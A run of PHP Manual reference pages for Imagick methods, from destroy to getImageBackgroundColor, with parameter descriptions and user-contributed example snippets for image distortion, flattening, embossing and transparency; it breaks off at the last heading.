bool Imagick::destroy ( void )

Destroys the Imagick object and frees all resources associated with it.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::despeckleImage
Imagick::displayImage
Imagick


Displays an image

Imagick::destroy
Imagick::displayImages
Imagick
PHP Manual

Imagick::displayImage

(PECL imagick 2.0.0)

Imagick::displayImage — Displays an image

Description

bool Imagick::displayImage ( string $servername )

This method displays an image on a X server.

Parameters

servername

The X server name

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::destroy
Imagick::displayImages
Imagick


Displays an image or image sequence

Imagick::displayImage
Imagick::distortImage
Imagick
PHP Manual

Imagick::displayImages

(PECL imagick 2.0.0)

Imagick::displayImages — Displays an image or image sequence

Description

bool Imagick::displayImages ( string $servername )

Displays an image or image sequence on a X server.

Parameters

servername

The X server name

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::displayImage
Imagick::distortImage
Imagick


Distorts an image using various distortion methods

Imagick::displayImages
Imagick::drawImage
Imagick
PHP Manual

Imagick::distortImage

(PECL imagick 2.0.1)

Imagick::distortImage — Distorts an image using various distortion methods

Description

bool Imagick::distortImage ( int $method , array $arguments , bool $bestfit )

Distorts an image using various distortion methods, by mapping color lookups of the source image to a new destination image usually of the same size as the source image, unless 'bestfit' is set to TRUE.

If 'bestfit' is enabled, and distortion allows it, the destination image is adjusted to ensure the whole source 'image' will just fit within the final destination image, which will be sized and offset accordingly. Also in many cases the virtual offset of the source image will be taken into account in the mapping.

This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

method

The method of image distortion. See distortion constants

arguments

The arguments for this distortion method

bestfit

Attempt to resize destination to fit distorted source

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::distortImage():

Distort an image and display to the browser.

<?php
/* Create new object */
$im = new Imagick();

/* Create new checkerboard pattern */
$im->newPseudoImage(100, 100, "pattern:checkerboard");

/* Set the image format to png */
$im->setImageFormat('png');

/* Fill new visible areas with transparent */
$im->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_TRANSPARENT);

/* Activate matte */
$im->setImageMatte(true);

/* Control points for the distortion */
$controlPoints = array( 10, 10,
                        10, 5,

                        10, $im->getImageHeight() - 20,
                        10, $im->getImageHeight() - 5,

                        $im->getImageWidth() - 10, 10,
                        $im->getImageWidth() - 10, 20,

                        $im->getImageWidth() - 10, $im->getImageHeight() - 10,
                        $im->getImageWidth() - 10, $im->getImageHeight() - 30);

/* Perform the distortion */
$im->distortImage(Imagick::DISTORTION_PERSPECTIVE, $controlPoints, true);

/* Ouput the image */
header("Content-Type: image/png");
echo $im;
?>

The above example will output something similar to:

Output of example : Using Imagick::distortImage()

See Also

  • Imagick::blurImage() - Adds blur filter to image
  • Imagick::motionBlurImage() - Simulates motion blur
  • Imagick::radialBlurImage() - Radial blurs an image

User Contributed Notes

DJ Mike 11-Apr-2011 11:11
Affine

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25,
               100,0, 100,50
               );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage(  Imagick::DISTORTION_AFFINE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Affine Projection

<?php
$image = new imagick( "opossum.jpg" );
$points = array( 0.9,0.3,
                -0.2,0.7,
                 20,15 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_AFFINEPROJECTION, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Arc

<?php
$image = new imagick( "opossum.jpg" );
$draw = new imagickdraw();
$degrees = array( 180 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_ARC, $degrees, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Rotated Arc

<?php
$image = new imagick( "opossum.jpg" );
$draw = new imagickdraw();
$degrees = array( 180, 45, 100, 20 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_ARC, $degrees, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Bilinear

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25, # top left
                176,0, 126,0, # top right
                0,135, 0,105, # bottom right
                176,135, 176,135 # bottum left
                );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_BILINEAR, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Perspective

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25, # top left
                176,0, 126,0, # top right
                0,135, 0,105, # bottom right
                176,135, 176,135 # bottum left
                );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_PERSPECTIVE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Scale Rotate Translate

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                 1.5, # scale 150%
                 150 # rotate
               );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( imagick::DISTORTION_SCALEROTATETRANSLATE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>
ashokmca.g at gmail dot com 04-Feb-2011 02:13
Slide image with shadow using distortImage

<?php

$slideValue = 150;

// Create new object
$im = new Imagick("grnhrs.jpg");

// Resize
$im->thumbnailImage(500,400);

// Set the image format to png
$im->setImageFormat('png');

//Clone the current object
$shadow = $im->clone();

//Set image background color to black (this is the color of the shadow)
$shadow->setImageBackgroundColor( new ImagickPixel( 'black' ) );

 //Create the shadow
$shadow->shadowImage( 80, 10, 5, 5 );

// Fill background area with transparent for image
//VIRTUALPIXELMETHOD_TRANSPARENT
$im->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_ TRANSPARENT);

// Activate matte
$im->setImageMatte(true);

//Control points for the distortion
$controlPoints = array( 0, 0,
                        $slideValue, 0,

                        0, $im->getImageHeight(),
                        0, $im->getImageHeight(),

                        $im->getImageWidth(), 0,
                        $im->getImageWidth(), 0,

                        $im->getImageWidth(), $im->getImageHeight(),
                        $im->getImageWidth()-$slideValue, $im->getImageHeight());

// Perform the distortion
$im->distortImage(Imagick::DISTORTION_PERSPECTIVEPROJECTION, $controlPoints, true);

// Perform the distortion in shadow image
$shadow->distortImage(Imagick::DISTORTION_PERSPECTIVEPROJECTION, $controlPoints, true);

// Imagick::shadowImage only creates the shadow.
// That is why the original image is composited over it
$shadow->compositeImage( $im, Imagick::COMPOSITE_OVER, 0, 0 );

/* Ouput the image */
header("Content-Type: image/png");
echo $shadow;

?>
Imagick::displayImages
Imagick::drawImage
Imagick


Renders the ImagickDraw object on the current image

Imagick::distortImage
Imagick::edgeImage
Imagick
PHP Manual

Imagick::drawImage

(PECL imagick 2.0.0)

Imagick::drawImage — Renders the ImagickDraw object on the current image

Description

bool Imagick::drawImage ( ImagickDraw $draw )

Renders the ImagickDraw object on the current image.

Parameters

draw

The drawing operations to render on the image.

Return Values

Returns TRUE on success.

User Contributed Notes

blah at blub dot com 24-Aug-2009 06:21
If your imagick lib begins to say: "Non-conforming drawing primitive...", it could be that your locale are not correctly set. please locate all your setlocale and kill them temporary so you could check it that would solve the problem.
sualk at lednew dot de 30-Sep-2008 04:34
the ImagickDraw (v 2.2.0) seems to disharmonise with PHP-GTK2 (v 2.0.1).

The rendering of an ImagickDraw object on the current image fails (resp. results in a flat image without drawings), if php_gtk2.so is loaded.

Code to reproduce the failure:

#!/usr/bin/php5
<?php
dl("php_gtk2.so"); // comment this for a second try

$string = "Hello world!";

$im = new Imagick();
$draw = new ImagickDraw();

$draw->setFillColor(new ImagickPixel('blue'));

$draw->setFontSize(28);

$metrix = $im->queryFontMetrics($draw, $string);

$draw->annotation(0,25,$string);

$im->newImage($metrix['textWidth'],$metrix['textHeight'], new ImagickPixel('white'));
$im->drawImage($draw);
$im->borderImage(new ImagickPixel('black'), 1, 1);
$im->setImageFormat('png');

$im->writeImage("./test.png");
?>
Imagick::distortImage
Imagick::edgeImage
Imagick


Enhance edges within the image

Imagick::drawImage
Imagick::embossImage
Imagick
PHP Manual

Imagick::edgeImage

(PECL imagick 2.0.0)

Imagick::edgeImage — Enhance edges within the image

Description

bool Imagick::edgeImage ( float $radius )

Enhance edges within the image with a convolution filter of the given radius. Use radius 0 and it will be auto-selected.

Parameters

radius

The radius of the operation.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::drawImage
Imagick::embossImage
Imagick


Returns a grayscale image with a three-dimensional effect

Imagick::edgeImage
Imagick::encipherImage
Imagick
PHP Manual

Imagick::embossImage

(PECL imagick 2.0.0)

Imagick::embossImage — Returns a grayscale image with a three-dimensional effect

Description

bool Imagick::embossImage ( float $radius , float $sigma )

Returns a grayscale image with a three-dimensional effect. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and it will choose a suitable radius for you.

Parameters

radius

The radius of the effect

sigma

The sigma of the effect

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

DJ Mike 11-Apr-2011 11:17
embossImage() will actually return a color image with a 3D effect. If you want a gray scale image, you can use imagefilter() from the regular GD functions.

<?php
header("Content-type: image/jpeg");
$image = new Imagick("opossum.jpg");
$image->embossImage( 0, 1 );
echo $image;
?>
Imagick::edgeImage
Imagick::encipherImage
Imagick


Enciphers an image

Imagick::embossImage
Imagick::enhanceImage
Imagick
PHP Manual

Imagick::encipherImage

(No version information available, might only be in SVN)

Imagick::encipherImage — Enciphers an image

Description

bool Imagick::encipherImage ( string $passphrase )

Converts plain pixels to enciphered pixels. The image is not readable until it has been deciphered using Imagick::decipherImage() This method is available if Imagick has been compiled against ImageMagick version 6.3.9 or newer.

Parameters

passphrase

The passphrase

Return Values

Returns TRUE on success.

See Also

  • Imagick::decipherImage() - Deciphers an image

User Contributed Notes

There are no user contributed notes for this page.
Imagick::embossImage
Imagick::enhanceImage
Imagick


Improves the quality of a noisy image

Imagick::encipherImage
Imagick::equalizeImage
Imagick
PHP Manual

Imagick::enhanceImage

(PECL imagick 2.0.0)

Imagick::enhanceImage — Improves the quality of a noisy image

Description

bool Imagick::enhanceImage ( void )

Applies a digital filter that improves the quality of a noisy image.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::encipherImage
Imagick::equalizeImage
Imagick


Equalizes the image histogram

Imagick::enhanceImage
Imagick::evaluateImage
Imagick
PHP Manual

Imagick::equalizeImage

(PECL imagick 2.0.0)

Imagick::equalizeImage — Equalizes the image histogram

Description

bool Imagick::equalizeImage ( void )

Equalizes the image histogram.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::enhanceImage
Imagick::evaluateImage
Imagick


Applies an expression to an image

Imagick::equalizeImage
Imagick::exportImagePixels
Imagick
PHP Manual

Imagick::evaluateImage

(PECL imagick 2.0.0)

Imagick::evaluateImage — Applies an expression to an image

Description

bool Imagick::evaluateImage ( int $op , float $constant [, int $channel = Imagick::CHANNEL_ALL ] )

Applys an arithmetic, relational, or logical expression to an image. Use these operators to lighten or darken an image, to increase or decrease contrast in an image, or to produce the "negative" of an image.

Parameters

op

The evaluation operator

constant

The value of the operator

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Examples

Example #1 Using Imagick::evaluateImage()

Using evaluateImage to reduce opacity in an image.

<?php
// Create new object with the image
$im = new Imagick('example-alpha.png');

// Reduce the alpha by 50%
$im->evaluateImage(Imagick::EVALUATE_DIVIDE, 2, Imagick::CHANNEL_ALPHA);

// Output the image
header("Content-Type: image/png");
echo $im;
?>

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

nils dot rocine at gmail dot com 04-Jan-2012 11:10
What worked for me to convert a JPG source file to a semi-transparent PNG.

<?php
    $srcImagick = new Imagick($srcPath);

    $pathTo50Perc = 'transparent1.png';

    $srcImagick->setImageAlphaChannel(Imagick::ALPHACHANNEL_OPAQUE);

    $srcImagick->evaluateImage(Imagick::EVALUATE_DIVIDE, 2, Imagick::CHANNEL_ALPHA);

    $srcImagick->writeImage($pathTo50Perc);
?>
Imagick::equalizeImage
Imagick::exportImagePixels
Imagick


Exports raw image pixels

Imagick::evaluateImage
Imagick::extentImage
Imagick
PHP Manual

Imagick::exportImagePixels

(No version information available, might only be in SVN)

Imagick::exportImagePixels — Exports raw image pixels

Description

public array Imagick::exportImagePixels ( int $x , int $y , int $width , int $height , string $map , int $STORAGE )

Exports image pixels into an array. The map defines the ordering of the exported pixels. The size of the returned array is width * height * strlen(map). This method is available if Imagick has been compiled against ImageMagick version 6.4.7 or newer.

Parameters

x

X-coordinate of the exported area

y

Y-coordinate of the exported area

width

Width of the exported aread

height

Height of the exported area

map

Ordering of the exported pixels. For example "RGB". Valid characters for the map are R, G, B, A, O, C, Y, M, K, I and P.

STORAGE

Refer to this list of pixel type constants

Examples

Example #1 Using Imagick::exportImagePixels()

Export image pixels into an array

<?php

/* Create new object */
$im = new Imagick();

/* Create new image */
$im->newPseudoImage(0, 0, "magick:rose");

/* Export the image pixels */
$pixels = $im->exportImagePixels(10, 10, 2, 2, "RGB", Imagick::PIXEL_CHAR);

/* Output */
var_dump($pixels);
?>

The above example will output:

array(12) {
  [0]=>
  int(72)
  [1]=>
  int(64)
  [2]=>
  int(57)
  [3]=>
  int(69)
  [4]=>
  int(59)
  [5]=>
  int(43)
  [6]=>
  int(124)
  [7]=>
  int(120)
  [8]=>
  int(-96)
  [9]=>
  int(91)
  [10]=>
  int(84)
  [11]=>
  int(111)
}

Return Values

Returns an array containing the pixels values.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::evaluateImage
Imagick::extentImage
Imagick


Set image size

Imagick::exportImagePixels
Imagick::flattenImages
Imagick
PHP Manual

Imagick::extentImage

(No version information available, might only be in SVN)

Imagick::extentImage — Set image size

Description

bool Imagick::extentImage ( int $width , int $height , int $x , int $y )

Comfortability method for setting image size. The method sets the image size and allows setting x,y coordinates where the new area begins. This method is available if Imagick has been compiled against ImageMagick version 6.3.1 or newer.

Parameters

width

The new width

height

The new height

x

X position for the new size

y

Y position for the new size

Return Values

Returns TRUE on success.

See Also

  • Imagick::resizeImage() - Scales an image
  • Imagick::thumbnailImage() - Changes the size of an image
  • Imagick::cropImage() - Extracts a region of the image

User Contributed Notes

bas at vdsluis dot net 03-Dec-2009 04:44
This function cannot handle images with a transparent background. Use setImageExtent instead.
Imagick::exportImagePixels
Imagick::flattenImages
Imagick


Merges a sequence of images

Imagick::extentImage
Imagick::flipImage
Imagick
PHP Manual

Imagick::flattenImages

(PECL imagick 2.0.0)

Imagick::flattenImages — Merges a sequence of images

Description

Imagick Imagick::flattenImages ( void )

Merges a sequence of images. This is useful for combining Photoshop layers into a single image.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Samuel Fine (hi at samuelfine dot com) 05-Dec-2011 09:32
This is also useful for accurately converting .ico files to .png. (Other types as well, in theory, but I've only tested ico->png.) Simply using setFormat will create a valid .png file, but will result in image artifacts if the original .ico had any transparency. The following code will create an accurate copy:

<?php

$im = new Imagick();

// When dealing with .ico files, make sure to setFormat before loading the image or you'll get a nasty exception. See https://bugs.php.net/bug.php?id=58515 for more details.
$im->setFormat("ico");

$im->readImage("favicon.ico");

$im = $im->flattenImages(); // Thanks for the tip, Jairu5!

$im->setFormat("png");

$new = fopen("favicon.png", "w");
$im->writeImageFile($new);
$im->clear();
$im->destroy();

?>
Jairu5 30-Nov-2010 08:29
Note that the function returns an Imagick object and does not modify the existing object. Below is my code for converting a PNG with transparency into a JPG with a background color. This code illustrates the difference.

<?php

$im = new Imagick('image.png');
$im->setImageBackgroundColor('white');

$im->flattenImages(); // This does not do anything.
$im = $im->flattenImages(); // Use this instead.

$im->setImageFormat('jpg');
$im->writeImage('image.jpg');

?>
Imagick::extentImage
Imagick::flipImage
Imagick


Creates a vertical mirror image

Imagick::flattenImages
Imagick::floodFillPaintImage
Imagick
PHP Manual

Imagick::flipImage

(PECL imagick 2.0.0)

Imagick::flipImage — Creates a vertical mirror image

Description

bool Imagick::flipImage ( void )

Creates a vertical mirror image by reflecting the pixels around the central x-axis.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::flattenImages
Imagick::floodFillPaintImage
Imagick


Changes the color value of any pixel that matches target

Imagick::flipImage
Imagick::flopImage
Imagick
PHP Manual

Imagick::floodFillPaintImage

(No version information available, might only be in SVN)

Imagick::floodFillPaintImage — Changes the color value of any pixel that matches target

Description

bool Imagick::floodFillPaintImage ( mixed $fill , float $fuzz , mixed $target , int $x , int $y , bool $invert [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Changes the color value of any pixel that matches target and is an immediate neighbor. This method is a replacement for deprecated Imagick::paintFloodFillImage(). This method is available if Imagick has been compiled against ImageMagick version 6.3.8 or newer.

Parameters

fill

ImagickPixel object or a string containing the fill color

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color.

target

ImagickPixel object or a string containing the target color to paint

x

X start position of the floodfill

y

Y start position of the floodfill

invert

If TRUE paints any pixel that does not match the target color.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

Examples

Example #1 Imagick::floodfillPaintImage() example

<?php

/* Create new imagick object */
$im = new Imagick();

/* create red, green and blue images */
$im->newImage(100, 50, "red");
$im->newImage(100, 50, "green");
$im->newImage(100, 50, "blue");

/* Append the images into one */
$im->resetIterator();
$combined = $im->appendImages(true);

/* Save the intermediate image for comparison */
$combined->writeImage("floodfillpaint_intermediate.png");

/* The target pixel to paint */
$x = 1;
$y = 1;

/* Get the color we are painting */
$target = $combined->getImagePixelColor($x, $y);

/* Paints pixel in position 1,1 black and all neighboring
   pixels that match the target color */
$combined->floodfillPaintImage("black", 1, $target, $x, $y, false);

/* Save the result */
$combined->writeImage("floodfillpaint_result.png");
?>

The above example will output something similar to:

Output of example : Imagick::floodfillPaintImage()
Output of example : Imagick::floodfillPaintImage()

User Contributed Notes

There are no user contributed notes for this page.
Imagick::flipImage
Imagick::flopImage
Imagick


Creates a horizontal mirror image

Imagick::floodFillPaintImage
Imagick::frameImage
Imagick
PHP Manual

Imagick::flopImage

(PECL imagick 2.0.0)

Imagick::flopImage — Creates a horizontal mirror image

Description

bool Imagick::flopImage ( void )

Creates a horizontal mirror image by reflecting the pixels around the central y-axis.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::floodFillPaintImage
Imagick::frameImage
Imagick


Adds a simulated three-dimensional border

Imagick::flopImage
Imagick::functionImage
Imagick
PHP Manual

Imagick::frameImage

(PECL imagick 2.0.0)

Imagick::frameImage — Adds a simulated three-dimensional border

Description

bool Imagick::frameImage ( mixed $matte_color , int $width , int $height , int $inner_bevel , int $outer_bevel )

Adds a simulated three-dimensional border around the image. The width and height specify the border width of the vertical and horizontal sides of the frame. The inner and outer bevels indicate the width of the inner and outer shadows of the frame.

Parameters

matte_color

ImagickPixel object or a string representing the matte color

width

The width of the border

height

The height of the border

inner_bevel

The inner bevel width

outer_bevel

The outer bevel width

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::flopImage
Imagick::functionImage
Imagick


Applies a function on the image

Imagick::frameImage
Imagick::fxImage
Imagick
PHP Manual

Imagick::functionImage

(No version information available, might only be in SVN)

Imagick::functionImage — Applies a function on the image

Description

public bool Imagick::functionImage ( int $function , array $arguments [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Applies an arithmetic, relational, or logical expression to an image. Use these operators to create lighter or darker versions of an image, to increase or decrease contrast in an image, or to negate the image colors. This method is available if Imagick has been compiled against ImageMagick version 6.4.9 or newer.

Parameters

function

Refer to this list of function constants

arguments

Array of arguments to pass to this function.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::frameImage
Imagick::fxImage
Imagick


Evaluate expression for each pixel in the image

Imagick::functionImage
Imagick::gammaImage
Imagick
PHP Manual

Imagick::fxImage

(PECL imagick 2.0.0)

Imagick::fxImage — Evaluate expression for each pixel in the image

Description

Imagick Imagick::fxImage ( string $expression [, int $channel = Imagick::CHANNEL_ALL ] )

Evaluate expression for each pixel in the image. Consult » The Fx Special Effects Image Operator for more information.

Parameters

expression

The expression.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::functionImage
Imagick::gammaImage
Imagick


Gamma-corrects an image

Imagick::fxImage
Imagick::gaussianBlurImage
Imagick
PHP Manual

Imagick::gammaImage

(PECL imagick 2.0.0)

Imagick::gammaImage — Gamma-corrects an image

Description

bool Imagick::gammaImage ( float $gamma [, int $channel = Imagick::CHANNEL_ALL ] )

Gamma-corrects an image. The same image viewed on different devices will have perceptual differences in the way the image's intensities are represented on the screen. Specify individual gamma levels for the red, green, and blue channels, or adjust all three with the gamma parameter. Values typically range from 0.8 to 2.3.

Parameters

gamma

The amount of gamma-correction.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::fxImage
Imagick::gaussianBlurImage
Imagick


Blurs an image

Imagick::gammaImage
Imagick::getColorspace
Imagick
PHP Manual

Imagick::gaussianBlurImage

(PECL imagick 2.0.0)

Imagick::gaussianBlurImage — Blurs an image

Description

bool Imagick::gaussianBlurImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_ALL ] )

Blurs an image. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, the radius should be larger than sigma. Use a radius of 0 and selects a suitable radius for you.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel.

sigma

The standard deviation of the Gaussian, in pixels.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::gammaImage
Imagick::getColorspace
Imagick


Gets the colorspace

Imagick::gaussianBlurImage
Imagick::getCompression
Imagick
PHP Manual

Imagick::getColorspace

(PECL imagick 0.9.10-0.9.9)

Imagick::getColorspace — Gets the colorspace

Description

int Imagick::getColorspace ( void )

Gets the global colorspace value. This method is available if Imagick has been compiled against ImageMagick version 6.5.7 or newer.

Return Values

Returns an integer which can be compared against COLORSPACE constants.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::gaussianBlurImage
Imagick::getCompression
Imagick


Gets the object compression type

Imagick::getColorspace
Imagick::getCompressionQuality
Imagick
PHP Manual

Imagick::getCompression

(PECL imagick 2.0.0)

Imagick::getCompression — Gets the object compression type

Description

int Imagick::getCompression ( void )

Gets the object compression type.

Return Values

Returns the compression constant

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getColorspace
Imagick::getCompressionQuality
Imagick


Gets the object compression quality

Imagick::getCompression
Imagick::getCopyright
Imagick
PHP Manual

Imagick::getCompressionQuality

(PECL imagick 2.0.0)

Imagick::getCompressionQuality — Gets the object compression quality

Description

int Imagick::getCompressionQuality ( void )

Gets the object compression quality.

Return Values

Returns integer describing the compression quality

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getCompression
Imagick::getCopyright
Imagick


Returns the ImageMagick API copyright as a string

Imagick::getCompressionQuality
Imagick::getFilename
Imagick
PHP Manual

Imagick::getCopyright

(PECL imagick 2.0.0)

Imagick::getCopyright — Returns the ImageMagick API copyright as a string

Description

string Imagick::getCopyright ( void )

Returns the ImageMagick API copyright as a string.

Return Values

Returns a string containing the copyright notice of Imagemagick and Magickwand C API.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getCompressionQuality
Imagick::getFilename
Imagick


The filename associated with an image sequence

Imagick::getCopyright
Imagick::getFont
Imagick
PHP Manual

Imagick::getFilename

(PECL imagick 2.0.0)

Imagick::getFilename — The filename associated with an image sequence

Description

string Imagick::getFilename ( void )

Returns the filename associated with an image sequence.

Return Values

Returns a string on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getCopyright
Imagick::getFont
Imagick


Gets font

Imagick::getFilename
Imagick::getFormat
Imagick
PHP Manual

Imagick::getFont

(PECL imagick 2.1.0)

Imagick::getFont — Gets font

Description

string Imagick::getFont ( void )

Returns the objects font property. This method is available if Imagick has been compiled against ImageMagick version 6.3.7 or newer.

Return Values

Returns the string containing the font name or FALSE if not font is set.

See Also

  • Imagick::setFont() - Sets font
  • ImagickDraw::setFont() - Sets the fully-specified font to use when annotating with text
  • ImagickDraw::getFont() - Returns the font

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getFilename
Imagick::getFormat
Imagick


Returns the format of the Imagick object

Imagick::getFont
Imagick::getGravity
Imagick
PHP Manual

Imagick::getFormat

(PECL imagick 2.0.0)

Imagick::getFormat — Returns the format of the Imagick object

Description

string Imagick::getFormat ( void )

Returns the format of the Imagick object.

Return Values

Returns the format of the image.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getFont
Imagick::getGravity
Imagick


Gets the gravity

Imagick::getFormat
Imagick::getHomeURL
Imagick
PHP Manual

Imagick::getGravity

(No version information available, might only be in SVN)

Imagick::getGravity — Gets the gravity

Description

int Imagick::getGravity ( void )

Gets the global gravity property for the Imagick object. This method is available if Imagick has been compiled against ImageMagick version 6.4.0 or newer.

Return Values

Returns the gravity property. Refer to the list of gravity constants.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getFormat
Imagick::getHomeURL
Imagick


Returns the ImageMagick home URL

Imagick::getGravity
Imagick::getImage
Imagick
PHP Manual

Imagick::getHomeURL

(PECL imagick 2.0.0)

Imagick::getHomeURL — Returns the ImageMagick home URL

Description

string Imagick::getHomeURL ( void )

Returns the ImageMagick home URL.

Return Values

Returns a link to the imagemagick homepage.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getGravity
Imagick::getImage
Imagick


Returns a new Imagick object

Imagick::getHomeURL
Imagick::getImageAlphaChannel
Imagick
PHP Manual

Imagick::getImage

(PECL imagick 2.0.0)

Imagick::getImage — Returns a new Imagick object

Description

Imagick Imagick::getImage ( void )

Returns a new Imagick object with the current image sequence.

Return Values

Returns a new Imagick object with the current image sequence.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getHomeURL
Imagick::getImageAlphaChannel
Imagick


Gets the image alpha channel

Imagick::getImage
Imagick::getImageArtifact
Imagick
PHP Manual

Imagick::getImageAlphaChannel

(No version information available, might only be in SVN)

Imagick::getImageAlphaChannel — Gets the image alpha channel

Description

int Imagick::getImageAlphaChannel ( void )

Gets the image alpha channel value. The returned value is one of the alpha channel constants. This method is available if Imagick has been compiled against ImageMagick version 6.4.0 or newer.

Return Values

Returns a constant defining the current alpha channel value. Refer to this list of alpha channel constants.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImage
Imagick::getImageArtifact
Imagick


Get image artifact

Imagick::getImageAlphaChannel
Imagick::getImageBackgroundColor
Imagick
PHP Manual

Imagick::getImageArtifact

(No version information available, might only be in SVN)

Imagick::getImageArtifact — Get image artifact

Description

string Imagick::getImageArtifact ( string $artifact )

Gets an artifact associated with the image. The difference between image properties and image artifacts is that properties are public and artifacts are private. This method is available if Imagick has been compiled against ImageMagick version 6.5.7 or newer.

Parameters

artifact

The name of the artifact

Return Values

Returns the artifact value on success.

Errors/Exceptions

Throws ImagickException on error.

See Also

  • Imagick::setImageArtifact() - Set image artifact
  • Imagick::deleteImageArtifact() - Delete image artifact

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageAlphaChannel
Imagick::getImageBackgroundColor
Imagick


Returns the image background color

Imagick::getImageArtifact
Imagick::getImageBlob
Imagick
PHP Manual

Imagick::getImageBackgroundColor

(PECL imagick 2.0.0)

